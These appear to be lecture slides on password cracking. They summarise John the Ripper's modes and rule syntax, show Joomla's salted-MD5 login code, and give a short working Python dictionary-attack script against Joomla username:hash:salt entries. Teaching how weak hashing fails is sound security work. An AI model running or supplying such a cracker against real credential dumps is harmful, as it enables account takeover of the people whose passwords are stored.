John The Ripper - Overview

- The fast password cracker
  - http://www.openwall.com/john/
  - GPLv2 Licence
  - Support for DES, MD5, Blowfish and others
- Wordlist mode
  - Dictionary password attack
    - Dictionaries at ftp://ftp.ox.ac.uk/pub/wordlists
- Single Crack Mode
  - Uses correlation with “username field”
- Incremental Mode
  - it can try all character combinations as passwords
- External Mode
  - heavily programmable, see next slide

John the ripper - Syntax

- Syntax based on Crack 5.0a
  - ftp://ftp.cert.dfn.de/pub/tools/password/Crack/

- Examples:
  - -c[rules]:ignore this rule if password are not case sensitive
  - > 3: do no process di word of smaller than 3 characters
  - /: convert alla characters to lowecase

Joomla - Trivial Salt Example

- Reverse Engineering
  - grep -r salt *
- includes/joomla.php
  - function login($username=null, $passwd=null, $remember=0, $userid=NULL)

```
list($hash, $salt) = explode(':', $user->password);

$check_username = md5( $user->username . $harden );
$check_password = md5( $hash . $harden );

if ( $check_username == $username && $check_password == $passwd ) {
    $row = $user;
    $valid_remember = true;
}
```

- Other files
  - components/com_user/user.php
    - function userSave($option, $uid)
  - components/com_registration/registration.php
    - function saveRegistration()

Joomla - Dictionary Attack

- Easy code:

```
#!/usr/bin/python
import md5
wordlist = open("wordlist") # READ WORDLIST
passwdfile = open("passwords")
words=[] #array for words
for word in wordlist:
    words.append(word)
lines=[] # Joomla syntax is username:password:salt
for line in passwdfile:
    lines.append(line)
wordlist.close() #closing the files
passwdfile.close()
for word in words:
    print "Trying word %s\n\n" % (word.strip())
    for line in lines:
        h = md5.new()
        username,thehash,salt=line.split(":")
        h.update(word.rstrip("\n")+salt.rstrip("\n"))
        if h.hexdigest() == thehash:
            print "******\nUsername: %s Password: %s\n******\n" % (username,word)
```